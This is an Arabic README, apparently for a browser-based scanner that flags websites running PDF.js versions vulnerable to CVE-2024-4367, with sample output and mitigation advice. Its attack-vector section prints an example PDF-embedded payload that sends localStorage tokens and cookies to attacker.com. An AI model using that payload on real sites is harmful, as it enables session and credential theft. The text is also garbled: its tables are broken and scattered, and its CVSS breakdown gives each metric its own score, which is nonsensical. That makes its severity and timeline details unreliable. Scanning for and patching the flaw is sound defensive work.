
مسح PoC النهائي لـ CVE-2024-4367
⚠️ أداة أمنية حرجة | يكتشف CVE-2024-4367 (CVSS 9.8) - ثغرة تنفيذ الأكواد عن بُعد في PDF.js
يعمل على أي موقع ويب - بدون أي إعداد مطلوب
CVE-2024-4367 هي ثغرة حرجة في PDF.js (الإصدارات < 4.2.67) تسمح بـتنفيذ JavaScript عشوائي عبر ملفات PDF خبيثة. يقوم هذا الماسح بالتعرف تلقائيًا على حالات PDF.js المعرّضة للخطر على أي موقع ويب.
يحتوي PDF.js على خلل حيث يتم تنفيذ JavaScript المضمّنة في ملفات PDF دون عزل مناسب (sandboxing)، مما يسمح للمهاجمين بـ:
F12 لفتح أدوات المطور (DevTools)Enterأنشئ إشارة مرجعية بهذا الرابط:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ SCAN PROCESS FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 LOAD SCRIPTS │
│ ├─ External scripts (all <script src="">) │
│ └─ Inline scripts (all <script> tags) │
│ │
│ 2. 🔍 EXTRACT PDF.JS VERSION │
│ ├─ Pattern matching in code │
│ ├─ Package.json detection │
│ └─ Node_modules path parsing │
│ │
│ 3. 🎯 IDENTIFY VULNERABILITY │
│ ├─ version < 4.2.67 ? → VULNERABLE │
│ └─ version = 2.16.105 ? → VULNERABLE │
│ │
│ 4. 🖼️ LOCATE VIEWERS │
│ ├─ DOM element scanning │
│ └─ Attribute detection │
│ │
│ 5. ⚡ GENERATE POC │
│ ├─ Create test PDF │
│ └─ Provide download link │
│ │
│ 6. 📊 DISPLAY RESULTS │
│ ├─ Visual overlay │
│ ├─ Console report │
│ └─ Global variable storage │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - UNIVERSAL PDF.js SCANNER ║
║ Detects vulnerable PDF.js versions and potential exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
[1/42] Analyzing: vendor.bundle.js
→ PDF.js indicator found: pdfjs-dist
✅ PDF.js version found: 2.16.105
🚨 VULNERABLE to CVE-2024-4367!
🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL parameter accepts PDF: file=/documents/report.pdf
⚠️ PDF upload form found
█████████████████████████████████████████████████████████████████████████████████
FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████
🚨 CRITICAL VULNERABILITY CONFIRMED!
CVE: CVE-2024-4367
CVSS: 9.8 (CRITICAL)
Impact: Arbitrary JavaScript Execution
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 SCAN RESULTS │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Target: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: YES │
│ 📄 Viewers: 3 │
│ ⚡ Vectors: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITICAL - Upgrade Required │
└─────────────────────────────────────────────────────────────┘
# For Node.js projects
npm install pdfjs-dist@latest
# For CDN usage
# Update to version 4.2.67 or higher
// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validate PDF files before rendering
function validatePDF(file) {
// Check magic bytes
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Invalid PDF file');
}
// Scan for JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF contains JavaScript');
}
}
معاملات الرابط
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
رفع الملفات
<input type="file" accept=".pdf">
العارضات المضمّنة
<embed src="malicious.pdf">
نقاط نهاية API
/api/documents/123/download
/api/report/pdf
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
تثبيت الماسح
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
تشغيل الماسح
# Open the target website
# Paste the scanner in console
# Or use the bookmarklet
تحليل النتائج
تنزيل ملف PDF لإثبات المفهوم (إذا كان معرّضًا للخطر)
تطبيق الإصلاحات
| السيناريو | النتيجة |
|---|---|
| PDF.js 2.16.105 | 🔴 حرجة |
| PDF.js 3.x | 🔴 معرّضة للخطر |
| PDF.js 4.0.x | 🔴 معرّضة للخطر |
| PDF.js 4.2.67+ |
// Vulnerable versions
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Safe version
const SAFE_VERSION = '4.2.67';
| التاريخ | الحدث |
|---|---|
| 2024-04-23 | اكتشاف الثغرة |
| 2024-04-24 | تخصيص CVE-2024-4367 |
| 2024-04-25 | إصدار التصحيح (4.2.67) |
هام: هذه الأداة مخصصة للاختبارات الأمنية المصرّح بها وللأغراض التعليمية فقط.
- ✅ افعل: استخدمها على مواقعك الخاصة
- ✅ افعل: استخدمها بإذن صريح
- ✅ افعل: استخدمها لأغراض البحث الأمني
- ❌ لا تفعل: استخدمها على أنظمة غير مصرّح بها
- ❌ لا تفعل: استخدمها لأغراض خبيثة
المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
المساهمات مرحّب بها! يرجى:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
إذا وجدت هذه الأداة مفيدة:
🛡️ ابقَ آمنًا. اختبر مبكرًا. اختبر باستمرار.
صُنع بكل ❤️ من مجتمع الأمن السيبراني
| الحل | الصعوبة | الفعالية |
|---|
| ترقية PDF.js | سهلة | ✅ إصلاح كامل |
| تعطيل JavaScript في PDF.js | سهلة | ✅ إصلاح كامل |
| تطبيق CSP | متوسطة | ✅ جيدة |
| التحقق من جهة الخادم | متوسطة | ✅ جيدة |
| العرض في بيئة معزولة (Sandbox) | صعبة | ✅ ممتازة |
| ✅ آمنة |
| لا يوجد PDF.js | ℹ️ آمنة |
| 2024-04-26 |
| الكشف العام |
| 2024-05-01 | ملاحظة محاولات استغلال |
| المكوّن | الدرجة |
|---|
| ناقل الهجوم | شبكة (9.8) |
| تعقيد الهجوم | منخفض (9.8) |
| الامتيازات المطلوبة | لا شيء (9.8) |
| تفاعل المستخدم | مطلوب (8.8) |
| النطاق | متغير (9.1) |
| السرية | عالية (9.8) |
| السلامة | عالية (9.8) |
| التوافر | عالي (9.8) |
| الإجمالي | 9.8 (حرجة) |